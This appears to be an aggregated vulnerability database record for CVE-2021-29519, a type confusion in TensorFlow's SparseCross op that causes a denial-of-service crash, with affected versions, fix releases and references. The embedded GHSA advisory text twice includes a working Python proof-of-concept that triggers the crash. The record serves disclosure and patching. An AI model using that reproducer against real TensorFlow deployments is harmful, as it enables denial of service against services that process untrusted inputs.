{"id":"CVE-2021-29519","aliases":["BIT-tensorflow-2021-29519","EUVD-2021-0260","GHSA-772j-h9xw-ffp5","PYSEC-2021-156","PYSEC-2021-447","PYSEC-2021-645"],"status":"published","title":"CHECK-fail in SparseCross due to type confusion","description":"TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.","severity":{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00189,"percentile":0.08635,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-843"],"published":"2021-05-14T19:35:58Z","modified":"2026-10-20T14:20:36Z","fixes":[{"ecosystem":"PyPI","package":"tensorflow","fixed_in":["2.1.4","2.2.3","2.3.3","2.4.2"],"sources":["ghsa","osv"]},{"ecosystem":"PyPI","package":"tensorflow-cpu","fixed_in":["2.1.4","2.2.3","2.3.3","2.4.2"],"sources":["ghsa","osv"]},{"ecosystem":"PyPI","package":"tensorflow-gpu","fixed_in":["2.1.4","2.2.3","2.3.3","2.4.2"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"tensorflow","fixed_in":["2.1.4","2.2.3","2.3.3","2.4.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow-cpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow-cpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow-cpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow-cpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow-gpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow-gpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow-gpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"tensorflow-gpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"tensorflow","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.4"},{"introduced":"2.2.0"},{"fixed":"2.2.3"},{"introduced":"2.3.0"},{"fixed":"2.3.3"},{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}]},{"source":"osv","ecosystem":"PyPI","package":"tensorflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3"]},{"source":"osv","ecosystem":"PyPI","package":"tensorflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"]},{"source":"osv","ecosystem":"PyPI","package":"tensorflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"]},{"source":"osv","ecosystem":"PyPI","package":"tensorflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"]},{"source":"osv","ecosystem":"PyPI","package":"tensorflow-cpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["1.15.0","2.1.0","2.1.1","2.1.2","2.1.3"]},{"source":"osv","ecosystem":"PyPI","package":"tensorflow-cpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"]},{"source":"osv","ecosystem":"PyPI","package":"tensorflow-cpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"]},{"source":"osv","ecosystem":"PyPI","package":"tensorflow-cpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"]},{"source":"osv","ecosystem":"PyPI","package":"tensorflow-gpu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0",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Party Advisory","advisory","fix","web"]},{"url":"https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","advisory","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29519","tags":["web","advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-447.yaml","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-645.yaml","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-156.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-772j-h9xw-ffp5"}],"sources":{"cve":[{"id":"CVE-2021-29519","title":"CHECK-fail in SparseCross due to type confusion","description":"TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.","status":"published","published":"2021-05-14T19:35:58Z","modified":"2024-08-03T22:11:05.649Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"low","assessor":"cna"}],"cwes":["CWE-843"],"updated_at":"2026-11-02T14:33:06.658806Z"}],"euvd":[{"id":"EUVD-2021-0260","description":"TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.","status":"published","published":"2021-05-14T19:35:58Z","modified":"2024-08-03T22:11:05Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-03T03:24:44.540278Z"}],"ghsa":[{"id":"GHSA-772j-h9xw-ffp5","title":"CHECK-fail in SparseCross due to type confusion","description":"### Impact\nThe API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service:\n\n```python\nimport tensorflow as tf\n\nhashed_output = False\nnum_buckets = 1949315406\nhash_key = 1869835877\nout_type = tf.string \ninternal_type = tf.string\n\nindices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)\nindices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)\nindices = [indices_1, indices_2]\n\nvalues_1 = tf.constant([0], dtype=tf.int64)\nvalues_2 = tf.constant([72], dtype=tf.int64)\nvalues = [values_1, values_2]\n\nbatch_size = 4\nshape_1 = tf.constant([4, 122], dtype=tf.int64)\nshape_2 = tf.constant([4, 188], dtype=tf.int64)\nshapes = [shape_1, shape_2]\n\ndense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)\ndense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)\ndense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)\ndenses = [dense_1, dense_2, dense_3]\n\ntf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,\n                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)\n```\n\nThe above code will result in a `CHECK` fail in [`tensor.cc`](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675):\n\n```cc\nvoid Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {\n  CHECK_EQ(dtype(), expected_dtype)\n      \u003c\u003c \" \" \u003c\u003c DataTypeString(expected_dtype) \u003c\u003c \" expected, got \"\n      \u003c\u003c DataTypeString(dtype());\n  ...\n}\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements:\n\n```cc\n  if (DT_STRING == values_.dtype())\n      return Fingerprint64(values_.vec\u003ctstring\u003e().data()[start + n]);\n  return values_.vec\u003cint64\u003e().data()[start + n];\n```\n\nFixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue.\n\n### Patches\nWe have patched the issue in GitHub commit [b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025](https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","status":"published","published":"2021-05-21T14:21:08Z","modified":"2024-10-28T21:22:35Z","cvss":[{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"low"},{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-843"],"updated_at":"2026-11-02T14:38:14.769863Z"}],"nvd":[{"id":"CVE-2021-29519","description":"TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.","status":"published","published":"2021-05-14T20:15:11.48Z","modified":"2026-06-17T03:47:49.357Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"low","assessor":"secondary"},{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"primary"},{"version":"2.0","score":2.1,"vector":"AV:L/AC:L/Au:N/C:N/I:N/A:P","level":"low","assessor":"primary"}],"cwes":["CWE-843"],"updated_at":"2026-11-02T14:06:53.343329Z"}],"osv":[{"id":"CVE-2021-29519","description":"TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.","status":"published","published":"2021-05-14T20:15:11.48Z","modified":"2026-10-20T14:20:36.390024326Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:44:19.129331Z"},{"id":"GHSA-772j-h9xw-ffp5","title":"CHECK-fail in SparseCross due to type confusion","description":"### Impact\nThe API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service:\n\n```python\nimport tensorflow as tf\n\nhashed_output = False\nnum_buckets = 1949315406\nhash_key = 1869835877\nout_type = tf.string \ninternal_type = tf.string\n\nindices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)\nindices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)\nindices = [indices_1, indices_2]\n\nvalues_1 = tf.constant([0], dtype=tf.int64)\nvalues_2 = tf.constant([72], dtype=tf.int64)\nvalues = [values_1, values_2]\n\nbatch_size = 4\nshape_1 = tf.constant([4, 122], dtype=tf.int64)\nshape_2 = tf.constant([4, 188], dtype=tf.int64)\nshapes = [shape_1, shape_2]\n\ndense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)\ndense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)\ndense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)\ndenses = [dense_1, dense_2, dense_3]\n\ntf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,\n                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)\n```\n\nThe above code will result in a `CHECK` fail in [`tensor.cc`](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675):\n\n```cc\nvoid Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {\n  CHECK_EQ(dtype(), expected_dtype)\n      \u003c\u003c \" \" \u003c\u003c DataTypeString(expected_dtype) \u003c\u003c \" expected, got \"\n      \u003c\u003c DataTypeString(dtype());\n  ...\n}\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements:\n\n```cc\n  if (DT_STRING == values_.dtype())\n      return Fingerprint64(values_.vec\u003ctstring\u003e().data()[start + n]);\n  return values_.vec\u003cint64\u003e().data()[start + n];\n```\n\nFixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue.\n\n### Patches\nWe have patched the issue in GitHub commit [b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025](https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","status":"published","published":"2021-05-21T14:21:08Z","modified":"2026-07-08T06:00:29.098736042Z","cvss":[{"version":"3.1","score":2.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"low"},{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-843"],"updated_at":"2026-11-02T15:46:40.657155Z"},{"id":"BIT-tensorflow-2021-29519","title":"CHECK-fail in SparseCross due to type confusion","description":"TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.","status":"published","published":"2024-03-06T11:20:01.098Z","modified":"2026-09-08T08:48:19.861676198Z","updated_at":"2026-11-02T15:28:35.51001Z"},{"id":"PYSEC-2021-156","description":"TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.","status":"published","published":"2021-05-14T20:15:00Z","modified":"2023-12-06T01:01:03.617476Z","updated_at":"2026-11-02T15:52:52.682031Z"},{"id":"PYSEC-2021-447","description":"TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.","status":"published","published":"2021-05-14T20:15:00Z","modified":"2023-12-06T01:01:03.617476Z","updated_at":"2026-11-02T15:52:53.119977Z"},{"id":"PYSEC-2021-645","description":"TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.","status":"published","published":"2021-05-14T20:15:00Z","modified":"2023-12-06T01:01:03.617476Z","updated_at":"2026-11-02T15:52:53.119977Z"}]}}